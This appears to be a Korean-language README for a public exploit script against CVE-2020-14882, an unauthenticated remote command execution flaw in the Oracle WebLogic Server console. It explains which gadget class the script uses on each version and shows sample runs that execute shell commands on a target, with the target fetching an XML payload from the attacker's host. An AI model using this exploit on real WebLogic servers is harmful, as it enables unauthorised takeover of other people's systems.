
CVE-2020-14882
CVE-2020-14882
Oracle Fusion Middleware의 Oracle WebLogic Server 제품(구성 요소: Console)의 취약점입니다. 영향을 받는 지원 버전은 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0입니다. 쉽게 악용 가능한 이 취약점은 HTTP를 통한 네트워크 접근이 가능한 인증되지 않은 공격자가 Oracle WebLogic Server를 손상시킬 수 있게 합니다. 이 취약점의 성공적인 공격은 Oracle WebLogic의 장악으로 이어질 수 있습니다.
12.2.1 이전 버전의 Oracle WebLogic에서는 'com.tangosol.coherence.mvel2.sh.ShellSession' 클래스를 사용할 수 없으므로 'com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' 클래스를 사용해야 합니다. 이 스크립트는 감지된 버전에 따라 명령 실행을 위해 두 클래스 사이를 자동으로 전환합니다.
현재 Github에서 CVE-2020-14882 악용을 위해 제공되는 일부 스크립트는 'com.tangosol.coherence.mvel2.sh.ShellSession' 클래스만 지원하므로, 해당 스크립트는 WebLogic 10.3.6.0.0 및 12.1.3.0.0 버전에서는 실패합니다.
% python3 CVE-2020-14882.py -u http://172.16.164.134:7001 -c 'uname -r > /tmp/success' -i 172.16.164.1
[*] http://172.16.164.134:7001/console/login/LoginForm.jsp [version 12.1.3.0.0]
[*] Using: com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
% python3 CVE-2020-14882.py -u http://127.0.0.1:7001 -c 'uname -r' -i 172.16.164.1
http://127.0.0.1:7001/console/login/LoginForm.jsp
[*] http://127.0.0.1:7001/console/login/LoginForm.jsp [version 12.2.1.3.0]
[*] Using: com.tangosol.coherence.mvel2.sh.ShellSession
Linux 96fc5d43736b 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux